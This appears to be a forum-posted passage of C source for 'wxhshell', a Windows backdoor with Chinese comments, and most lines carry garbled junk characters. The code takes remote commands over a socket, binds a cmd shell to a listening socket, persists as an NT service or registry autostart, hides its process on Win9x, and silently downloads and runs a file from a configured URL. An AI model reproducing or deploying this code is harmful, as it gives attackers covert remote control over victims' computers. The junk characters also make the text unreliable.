    switch(cmd[0]) { Kx+Bc&X  
  LD~'^+W  
  // 帮助 }gi' %e  
  case '?': { 5; [|k$ v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]+dl=SmF  
    break; t g*[%Jf^  
  } ({VBp[Mh  
  // 安装 K-C,+eI  
  case 'i': { g0OS<,:  
    if(Install()) ,b(S=r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -b}S3<15@  
    else * SMPHWH[c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Nl(Y@dD*  
    break; @e0skc  
    } [s{:}ZuKc  
  // 卸载 f4T0Y["QA  
  case 'r': { %pkq ?9  
    if(Uninstall()) I?g__u=n~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @qy*R'+  
    else b[;3KmUB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'aP*++^   
    break; }2A1Yt:^P  
    } `>EvT7u  
  // 显示 wxhshell 所在路径 5 hadA>d  
  case 'p': { Hk*cO;c  
    char svExeFile[MAX_PATH]; }n%R l\p  
    strcpy(svExeFile,"\n\r"); m Ap|?n/K  
      strcat(svExeFile,ExeFile); l1Q+hz5"*U  
        send(wsh,svExeFile,strlen(svExeFile),0); 5l/l]  
    break; <^_Vl8%  
    } o'C.,ic?C  
  // 重启 U hhmG+  
  case 'b': { ^!F5Cz 48  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o=# [^Zv  
    if(Boot(REBOOT)) }cej5/*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v@uaf=x-  
    else { ?mR[A`J58  
    closesocket(wsh); mh7sY;SvM  
    ExitThread(0); b N e\{k  
    } H8]^f=  
    break; %O=V4%"m\  
    } Zt2@?w;  
  // 关机 9Pp|d"6]y  
  case 'd': { M6*{#Y?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X7d.Ie  
    if(Boot(SHUTDOWN)) fP1OH&Ar  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sVdK^|j  
    else { ('6g)@=\U  
    closesocket(wsh); &qP-x98E?  
    ExitThread(0); tZ j,A%<  
    } :U.)YHY  
    break; %=4ak]As  
    } uBq3.+,x*  
  // 获取shell u\6]^T6  
  case 's': { :+Q"MIU  
    CmdShell(wsh); y*b.eO  
    closesocket(wsh); dX@A%6#?  
    ExitThread(0); {Y:ZY+  
    break; mhLRi\[c )  
  } Qb't*2c%  
  // 退出 r82o[+$u0K  
  case 'x': { o $`kpr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UnWGMo?JEi  
    CloseIt(wsh); J1p75c%  
    break; 7(~H77  
    } -A%?T"  
  // 离开 H'GYJ ?U"  
  case 'q': { km\ld&d]$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .83v~{n  
    closesocket(wsh); -y*_.Ws9  
    WSACleanup(); `$sY^EX  
    exit(1); 1H4Zgh U  
    break; /3[ 9{r  
        } >`<2}Me6  
  } Fv);5LD  
  } ^_KD&%M6  
bxdXZB n  
  // 提示信息 %FyygTb;S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ObE{2Enf  
} zYG,x*IH  
  } "8muMa8Q%  
IiK(^:~%  
  return; 90qj6.SQ  
} yLz,V}  
)Bn>/-  
// shell模块句柄 \;*}zX  
int CmdShell(SOCKET sock) ^~6]0$yJ  
{ pP0Vg'V  
STARTUPINFO si; uB <F.!3  
ZeroMemory(&si,sizeof(si)); {y:#'n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p=~h|(M|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H : T N  
PROCESS_INFORMATION ProcessInfo; xeHb89GnoQ  
char cmdline[]="cmd"; Lubs{-5lk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *Cnq2=A]A  
  return 0; ^5 ^}MB%  
} _rMT{q3  
5M Wvu,'%8  
// 自身启动模式 nSxb-Ce  
int StartFromService(void) hyOm9WU  
{ .i+* #djx  
typedef struct ;sChxQ=.^  
{ B8UZ9I$n  
  DWORD ExitStatus; 27a* H1iQ  
  DWORD PebBaseAddress; 7/|F9fF@M  
  DWORD AffinityMask; i2:+h}o$e  
  DWORD BasePriority; XW?ybH6  
  ULONG UniqueProcessId; O5^J!(.O\Z  
  ULONG InheritedFromUniqueProcessId; iTLW<wG  
}   PROCESS_BASIC_INFORMATION; {b,2;w}95  
MxgLzt Y  
PROCNTQSIP NtQueryInformationProcess; MKe^_uF  
[{@zb-h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [X }@Ct6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *vRI)>wU  
J`r,_)J"2  
  HANDLE             hProcess; XD^ dlL  
  PROCESS_BASIC_INFORMATION pbi; _;e!ZZLG  
fQQsb 5=i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "X5_-l  
  if(NULL == hInst ) return 0; 7V} ]C>G  
*^D@l%av;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |}M0,AS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); If-,c^i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <rB3[IJo  
7!r#(>I6?1  
  if (!NtQueryInformationProcess) return 0; ;v1NL@w*  
`c'   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $U>/i@D  
  if(!hProcess) return 0; _hy{F%}  
ut$,?k!M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hwp{<  
Uvh~B^6  
  CloseHandle(hProcess); 7$ =Y\ P  
~{4n}*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PUP"ky^q"  
if(hProcess==NULL) return 0; e"fN~`NhY  
;}/U+`=D?  
HMODULE hMod; tyEPU^PM  
char procName[255]; I /On3"U%  
unsigned long cbNeeded; SE^j=1  
sTtX$&Qu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )u8*zwq  
1yBt/U2  
  CloseHandle(hProcess); :xFu_%7  
hIuMHq7h  
if(strstr(procName,"services")) return 1; // 以服务启动 oTCzYY  
`/O`OrZ1K  
  return 0; // 注册表启动 Tm)GC_  
} WR/o @$/  
T- |9o|~z  
// 主模块 gB>imr#e&  
int StartWxhshell(LPSTR lpCmdLine) sno`=+|U]  
{ ~)q g  
  SOCKET wsl; ]*N:;J  
BOOL val=TRUE; 'qL5$zG  
  int port=0; !K3})& w  
  struct sockaddr_in door; 5@`F.F>"  
p}3NJV  
  if(wscfg.ws_autoins) Install(); .xGo\aD  
e}42/>}#D  
port=atoi(lpCmdLine); M{?.hq  
bLgL0}=n  
if(port<=0) port=wscfg.ws_port; YijMF/Uyb  
S&4+ e:K  
  WSADATA data; /!3ZWXY\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S!;L F4VA  
B<|VeU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mC i[Ps  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .u1X+P7  
  door.sin_family = AF_INET; ]~-*hOcQ4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x\hWyY6J[  
  door.sin_port = htons(port); mZ~qG5@/F  
}I]j&\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n /QfdAg  
closesocket(wsl); q!6|lZB3  
return 1; Hm%g_Mt  
} DY9fF4[9a  
:{LAVMG&^  
  if(listen(wsl,2) == INVALID_SOCKET) { 'LVn^TB_f&  
closesocket(wsl); &E bI Op  
return 1; 6M ^IwE  
} Ji;SY{~kv  
  Wxhshell(wsl); ' .B.V?7  
  WSACleanup(); n*Q`g@`  
vUNisVA  
return 0; 55.;+B5L *  
} h[>U  
} CI`N8 f=v  
d%0+i/p  
// 以NT服务方式启动 <i{K7}':  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .xO _E1Ku;  
{ !;%y$$gxh  
DWORD   status = 0; /XcDYMKgh  
  DWORD   specificError = 0xfffffff; GCT@o!  
NYBe"/}GS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KOjluP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gQ37>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 57~Uqt  
  serviceStatus.dwWin32ExitCode     = 0; nV}8M  
  serviceStatus.dwServiceSpecificExitCode = 0; _%Bz,C8  
  serviceStatus.dwCheckPoint       = 0; No) m/17y  
  serviceStatus.dwWaitHint       = 0; Sp:l;SGd  
WsR+Np@c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4qhWm"&CM  
  if (hServiceStatusHandle==0) return; 5[C~wvO  
n`q2s'Pc  
status = GetLastError(); rH&G<o&,  
  if (status!=NO_ERROR) aD9rp V  
{ 79ckLd9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sk:2+inU  
    serviceStatus.dwCheckPoint       = 0; AoYaVlKG8  
    serviceStatus.dwWaitHint       = 0; IdPn%)>6  
    serviceStatus.dwWin32ExitCode     = status; bd!U)b(}OV  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cq>6rn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fN-Gk(Ic  
    return; -ynBi;nH  
  } 1dFa@<5  
V<8K@/n@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 62[8xn=(%  
  serviceStatus.dwCheckPoint       = 0; 740B\pc0  
  serviceStatus.dwWaitHint       = 0; GWsd| kxU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %j7:tf=  
} k=[pm5ZvT~  
q"akrI38  
// 处理NT服务事件,比如:启动、停止 ['cz;2{:W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4KXc~eF[M"  
{ %-+j  
switch(fdwControl) GIT #<+"  
{ IG< H"tQ  
case SERVICE_CONTROL_STOP: J8?2R^;{  
  serviceStatus.dwWin32ExitCode = 0; n9%]-s\Hn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5t\HJ`C1Z  
  serviceStatus.dwCheckPoint   = 0; u%u&F^y  
  serviceStatus.dwWaitHint     = 0; 1<.5ub*i4  
  { RRADg^}l|"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TBCp L]QT  
  } w(U:U-MNe  
  return; ESTM$k }X  
case SERVICE_CONTROL_PAUSE: }7ehF6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VO=!8Yx[  
  break; qP3q  
case SERVICE_CONTROL_CONTINUE: [dB$U}SEj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *6Q|}b[qcD  
  break; O0T/#<Cn!  
case SERVICE_CONTROL_INTERROGATE: ~`qEWvPn  
  break; |7"$w%2  
}; @PI%FV z~p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5\bJR0I@  
} ^C/  
]kD"&&HV  
// 标准应用程序主函数 jV O{$j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dRW$T5dac  
{ nv0#~UgE#a  
ve Tx, \6@  
// 获取操作系统版本 !R'g59g  
OsIsNt=GetOsVer(); UMU2^$\iS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :ofBzTNwZ  
thc <xxRP  
  // 从命令行安装 _Mk7U@j+9  
  if(strpbrk(lpCmdLine,"iI")) Install(); +D&Pp0xe  
[Wi 1|]X"G  
  // 下载执行文件 ?Q0I'RC  
if(wscfg.ws_downexe) { KkcXNjPVS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h|D0z_f  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;W]\rft[  
} rf.`h{!!  
8)L*AdDAW!  
if(!OsIsNt) { /@"Y^  
// 如果时win9x,隐藏进程并且设置为注册表启动 :"Y*<=x#2  
HideProc(); jZteooJG|  
StartWxhshell(lpCmdLine); 7B7&9<gc  
} w(9*7pp  
else ",yc0 2<  
  if(StartFromService()) `JB?c  
  // 以服务方式启动 q_V0+qH  
  StartServiceCtrlDispatcher(DispatchTable); T 2F6)e  
else ,WD X(  
  // 普通方式启动 nhT-Ido  
  StartWxhshell(lpCmdLine); v+G=E2Lhv  
-F@L}|  
return 0; T/pqSmVpM  
}
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只看该作者 1 发表于: 2006-10-10
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